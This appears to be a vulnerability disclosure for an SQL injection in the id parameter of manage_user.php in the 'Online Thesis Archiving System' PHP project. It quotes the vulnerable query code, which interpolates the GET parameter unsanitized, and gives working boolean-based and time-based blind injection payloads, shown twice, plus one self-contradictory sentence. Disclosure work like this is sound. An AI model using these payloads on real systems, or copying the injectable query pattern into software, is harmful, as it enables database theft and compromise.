SQL injection vulnerability exists in id parameter of /admin/user/manage_user.php file of Online Thesis Archiving System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'user/manage_user',it will include /admin/user/manage_user.php,and id parameter can do sql injection.

index.php:

```
14      <?php $page = isset($_GET['page']) ? $_GET['page'] : 'home';  ?>
15       <!-- Content Wrapper. Contains page content -->
16       <div class="content-wrapper pt-3" style="min-height: 567.854px;">
17
18         <!-- Main content -->
19         <section class="content ">
20           <div class="container-fluid">
21             <?php
22               if(!file_exists($page.".php") && !is_dir($page)){
23                   include '404.html';
24               }else{
25                 if(is_dir($page))
26                   include $page.'/index.php';
27                else
28                   include $page.'.php';
29
30               }
```

manage_user.php:

```
3  if(isset($_GET['id']) && $_GET['id'] > 0){
4      $user = $conn->query("SELECT * FROM users where id ='{$_GET['id']}'");
5      foreach($user->fetch_array() as $k =>$v){
6          $meta[$k] = $v;
7      }
8  }
9  ?>
10 <?php if($_settings->chk_flashdata('success')): ?>
```

```
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: page=user/manage_user&id=1' AND 2089=(SELECT (CASE WHEN (2089=2089) THEN 2089 ELSE (SELECT 2677 UNION SELECT 6088) END))-- -

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=user/manage_user&id=1' AND (SELECT 8750 FROM (SELECT(SLEEP(5)))HyTk) AND 'JftA'='JftA
```

"

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: page=user/manage_user&id=1' AND 2089=(SELECT (CASE WHEN (2089=2089) THEN 2089 ELSE (SELECT 2677 UNION SELECT 6088) END))-- -

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user/manage_user&id=1' AND (SELECT 8750 FROM (SELECT(SLEEP(5)))HyTk) AND 'JftA'='JftA

"

Source Download：

https://www.campcodes.com/projects/php/online-thesis-archiving-system-in-php-mysql/